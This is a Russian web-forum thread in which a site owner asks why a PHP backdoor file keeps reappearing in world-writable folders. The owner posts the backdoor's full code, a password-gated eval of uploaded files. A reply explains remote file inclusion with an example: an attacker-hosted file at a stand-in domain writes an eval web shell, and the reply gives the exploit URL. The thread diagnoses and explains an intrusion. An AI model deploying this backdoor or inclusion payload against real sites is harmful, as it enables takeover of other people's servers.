Взлом постоянно прописывается файл namogofer.php

snug

Новичок
Взлом постоянно прописывается файл namogofer.php

Здравствуйте. У меня на хостинге в директориях с разрешением 777 (chmod) прописывается файл namogofer.php

содержит такой код:
PHP:
 <?php error_reporting(1);  
 global $HTTP_SERVER_VARS;   
 function say($t) { echo "$t\n"; };    
 function testdata($t) { say(md5("testdata_$t")); };     
 echo "<pre>"; 
testdata('start');      
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")    
 { if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))           
 {  eval($code); }        
 else{           testdata('f');             };      }         
else{ testdata('pass'); }; testdata('end'); 
echo "</pre>"; ?>
Удаляю, прописывает заново. В гугле никаких конкретных советов не нашёл как убрать эту гадось.
Знаю что это бэкдор. Не пойму как он прописывается. Предполагаю? что пишется из скрипта этой строкой
@fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"]))

Пароль от ftp админки менял и не входил туда специально несколько дней. Не помогло.
Как вариант можно не использовать 777, но для меня не подходит.
Кто сталкивался, подксажите откуда он берётся, и как его убрать навсегда.
 

DiMA

php.spb.ru
Команда форума
покажи свой дырявый сайт, тебе его еще раз 10 ломанут .-)

строка выполняет файл, поданный через аплоад
 

snug

Новичок
DiMA, тебе ничего не покажу. Уж больно ты любишь насехаться.
Я читал у людей, ставящих джумлу и нук- пхп та же самая проблема с папками 777.
 

fixxxer

К.О.
Партнер клуба
пока меня не было дома, кто-то зашел и спер телик. я кладу ключи под коврик, правда и замок не закрывается. слышал, что у людей, закрывающих дверь на деревянную щеколду, та же проблема.
 

Фанат

oncle terrible
Команда форума
послушайте.
он не спрашивал, как работает этот файл.
он спрашивал, откуда он берется.
 

fixxxer

К.О.
Партнер клуба
кстати, если хостинг гавеный, то достаточно дырки у соседа по серверу.

берется ессно элементарно - где то код вида include("$_GET[f].php")
 

Angerslave

Новичок
> если хостинг гавеный, то достаточно дырки у соседа по серверу.
Думаю, так и есть, ибо 777 - зло.
 

snug

Новичок
fixxxer
На счёт телика ты конечно завернул . )
Ну а хоть чуток поконкретнее, как предупредить появление?
Да используется include. У меня так динамически создаются страницы. Как вЫчитал в инструкции, так и сделал. У меня через $_GET передаётся имя вызываемого файла. Получается мне надо в базе данных держать имена файлов и при передаче проверять наличие этого файла или может другие способы есть?

И ещё. Ну пусть я там написал, как вычитал в заметках беглого программиста, но так люди строившие Joomla, не глупые, почему тогда на этой cms Тоже такая байда ?
 

Angerslave

Новичок
snug
Надо нифига не доверять данным, пришедшим от пользователя.
 

fixxxer

К.О.
Партнер клуба
абисняю.

есть у тебя site.ru

index.php:
<?
include($_GET['f'] . '.php'); // проверки file_exists/isset ничего не меняют по сути так что опустим
?>

заходил кулхацкер с доменом coolhacker.com, размещает у себя файл hack.txt:
<? /* тут может быть рекурсивный поиск каталога с 777 */
file_put_contents('folder_with_777_rights/hole.php', '<?eval($_GET["eval"]);?>'); ?>

и пишет урл

http://site.ru/?f=http://coolhacker.com/hack.txt?

панятна?

а читать надо все с умом.

джумлу с нюками конечно тоже писали идиоты но там наверняка есть хотя бы basename() или иной фильтр ввода.
 
Сверху